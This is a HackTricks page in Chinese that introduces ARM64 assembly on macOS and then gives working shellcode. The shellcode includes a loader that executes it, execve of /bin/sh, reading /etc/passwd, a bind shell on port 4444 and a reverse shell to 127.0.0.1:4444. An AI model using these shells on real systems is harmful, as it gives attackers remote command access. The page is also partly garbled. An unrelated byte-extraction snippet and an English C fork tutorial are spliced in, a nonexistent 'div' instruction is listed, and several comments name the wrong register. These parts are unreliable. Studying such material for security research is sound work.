hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

23 KiB
Raw Blame History

ARM64简介

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ARM64简介

ARM64也被称为ARMv8-A是一种64位处理器架构用于各种设备包括智能手机、平板电脑、服务器甚至一些高端个人电脑macOS。它是ARM Holdings公司的产品该公司以其节能的处理器设计而闻名。

寄存器

ARM64有31个通用寄存器,标记为x0x30。每个寄存器可以存储一个64位8字节的值。对于只需要32位值的操作可以使用名为w0到w30的32位模式访问相同的寄存器。

  1. x0x7 - 通常用作临时寄存器和传递子程序参数。
  • **x0**还携带函数的返回数据
  1. x8 - 在Linux内核中x8用作svc指令的系统调用号。在macOS中使用x16
  2. x9x15 - 更多的临时寄存器,通常用于局部变量。
  3. x16x17 - 临时寄存器也用于间接函数调用和PLTProcedure Linkage Table存根。
  • x16用作svc指令的系统调用号
  1. x18 - 平台寄存器。在某些平台上,该寄存器保留用于特定平台的用途。
  2. x19x28 - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供其调用者使用。
  3. x29 - 帧指针
  4. x30 - 链接寄存器。当执行BL(带链接的分支)或BLR(带链接到寄存器的分支)指令时,它保存返回地址。
  5. sp - 堆栈指针,用于跟踪堆栈的顶部。
  6. pc - 程序计数器,指向将要执行的下一条指令。

调用约定

ARM64调用约定规定函数的前八个参数通过寄存器**x0x7传递。额外的参数通过堆栈传递。返回值通过寄存器x0传回,如果是128位的话,也可以通过x1传回。函数调用时,x19x30sp寄存器必须被保留**。

在汇编中阅读函数时,要查找函数序言和尾声序言通常涉及保存帧指针(x29设置新的帧指针分配堆栈空间尾声通常涉及恢复保存的帧指针从函数返回

Swift中的调用约定

Swift有自己的调用约定,可以在https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64找到。

常见指令

ARM64指令通常具有**opcode dst, src1, src2的格式,其中opcode是要执行的操作**(如addsubmov等),dst是结果将被存储的目标寄存器,src1src2寄存器。也可以使用立即值代替源寄存器。

  • mov:将一个值从一个寄存器移动到另一个寄存器。
  • 示例:mov x0, x1 - 这将将x1中的值移动到x0中。
  • ldr:将一个值从内存加载到寄存器中。
  • 示例:ldr x0, [x1] - 这将从由x1指向的内存位置加载一个值到x0中。
  • str:将一个值从寄存器存储到内存中。
  • 示例:str x0, [x1] - 这将将x0中的值存储到由x1指向的内存位置中。
  • ldp加载一对寄存器。该指令从连续的内存位置加载两个寄存器。内存地址通常是通过将偏移量添加到另一个寄存器中的值来形成的。
  • 示例:ldp x0, x1, [x2] - 这将从x2x2 + 8处的内存位置分别加载x0x1
  • stp存储一对寄存器。该指令将两个寄存器存储到连续的内存位置。内存地址通常是通过将偏移量添加到另一个寄存器中的值来形成的。
  • 示例:stp x0, x1, [x2] - 这将x0x1存储到x2x2 + 8处的内存位置。
  • add:将两个寄存器的值相加,并将结果存储在一个寄存器中。
  • 示例:add x0, x1, x2 — 这将x1x2中的值相加,并将结果存储在x0中。
  • sub:将两个寄存器的值相减,并将结果存储在一个寄存器中。
  • 示例:sub x0, x1, x2 — 这将x1中的值减去x2的值,并将结果存储在x0中。
  • mul:将两个寄存器的值相乘,并将结果存储在一个寄存器中。
  • 示例:mul x0, x1, x2 — 这将x1x2中的值相乘,并将结果存储在x0中。
  • div:将一个寄存器的值除以另一个寄存器的值,并将结果存储在一个寄存器中。
  • 示例:div x0, x1, x2 — 这将x1中的值除以x2的值,并将结果存储在x0中。
  • bl:带链接的分支,用于调用子程序。将返回地址存储在x30中。
  • 示例:bl myFunction — 这将调用函数myFunction并将返回地址存储在x30中。
  • blr:带链接的寄存器分支,用于调用寄存器中指定的子程序。将返回地址存储在x30中。
  • 示例:blr x1 — 这将调用地址包含在x1中的函数,并将返回地址存储在x30中。
  • ret:从子程序返回,通常使用x30中的地址。
  • 示例:ret — 这将使用x30中的返回地址从当前子程序返回。
  • cmp:比较两个寄存器的值并设置条件标志。
  • 示例:cmp x0, x1 — 这将比较x0x1中的值,并相应地设置条件标志。
  • b.eq:如果前面的cmp指令发现两个相等的值,则跳转到标签。
  • 示例:b.eq label — 如果前面的cmp指令发现x0x1中的值相等,则跳转到label
  • b.ne:如果不相等,则根据条件标志(由先前的比较指令设置)跳转到标签或地址。
  • 示例:在cmp x0, x1指令之后,b.ne label — 如果x0x1中的值不相等,则跳转到label
  • cbz:比较并在零时跳转。此指令将一个寄存器与零进行比较,如果相等,则跳转到标签或地址。
  • 示例:cbz x0, label — 如果x0中的值为零,则跳转到label
  • cbnz:比较并在非零时跳转。此指令将一个寄存器与零进行比较,如果不相等,则跳转到标签或地址。
  • 示例:cbnz x0, label — 如果x0中的值非零,则跳转到label
  • adrp:计算符号的页地址并将其存储在一个寄存器中。
  • 示例:adrp x0, symbol — 这将计算symbol的页地址并将其存储在x0中。
  • ldrsw从内存中加载一个有符号的32位值并将其符号扩展为64位。
  • 示例:ldrsw x0, [x1] — 这将从x1指向的内存位置加载一个有符号的32位值将其符号扩展为64位并将其存储在x0中。
  • stur:将寄存器的值存储到内存位置,使用另一个寄存器的偏移量。
  • 示例:stur x0, [x1, #4] — 这将将x0中的值存储到当前x1地址加4字节的内存位置。
  • svc:进行系统调用。它代表"Supervisor Call"。当处理器执行此指令时,它将从用户模式切换到内核模式,并跳转到内存中内核系统调用处理代码的特定位置。
  • 示例:
mov x8, 93  ; 将退出的系统调用号93加载到寄存器x8中。
mov x0, 0   ; 将退出状态码0加载到寄存器x0中。
svc 0       ; 进行系统调用。

函数序言

  1. 将链接寄存器和帧指针保存到堆栈中
stp x29, x30, [sp, #-16]!  ; 将x29和x30寄存器对存储到堆栈中并减小堆栈指针
  1. 设置新的帧指针mov x29, sp(为当前函数设置新的帧指针)
  2. 为局部变量在堆栈上分配空间(如果需要):sub sp, sp, <size>(其中<size>是所需的字节数)

函数收尾

  1. 释放局部变量(如果有分配的变量)add sp, sp, <size>
  2. 恢复链接寄存器和帧指针
ldp x29, x30, [sp], #16  ; 从堆栈中加载x29和x30寄存器对并增加堆栈指针
  1. 返回ret(使用链接寄存器中的地址将控制返回给调用者)

macOS

BSD系统调用

查看syscalls.master。BSD系统调用将具有x16 > 0

Mach陷阱

查看syscall_sw.c。Mach陷阱将具有x16 < 0,因此您需要使用前面列表中的数字加上负号来调用:_kernelrpc_mach_vm_allocate_trap-10

您还可以在反汇编器中检查**libsystem_kernel.dylib**以找到如何调用这些和BSD系统调用的方法

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% hint style="success" %} 有时候,检查来自libsystem_kernel.dylib反编译代码比检查源代码更容易因为一些系统调用BSD和Mach的代码是通过脚本生成的请检查源代码中的注释而在dylib中你可以找到正在被调用的内容。 {% endhint %}

Shellcodes

编译:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

提取字节的方法如下:

ldr x0, =0x12345678
ldrb w1, [x0]

这段代码用于从内存地址0x12345678中提取一个字节。

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
用于测试shellcode的C代码 ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。

{% tabs %}
{% tab title="使用adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% tab title="使用堆栈" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% endtab %} {% endtabs %}

使用cat命令读取

目标是执行execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)因此第二个参数x1是一个参数数组在内存中表示为地址的堆栈

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

使用fork从sh调用命令以便主进程不被终止

To invoke a command with sh from a forked process, you can follow these steps:

  1. Import the necessary libraries:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
  1. Create a forked process using the fork() function:
pid_t pid = fork();
  1. Check if the process is the child process:
if (pid == 0) {
    // Child process
    // Execute the command using sh
    execl("/bin/sh", "sh", "-c", "your_command", (char *)NULL);
    exit(0);
}
  1. Wait for the child process to finish executing the command:
else {
    // Parent process
    wait(NULL);
}

By using this approach, the main process will not be terminated when invoking the command with sh from the forked process.

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

绑定 shell

https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s 获取绑定 shell端口为 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

反向 shell

https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s,反向 shell 到 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥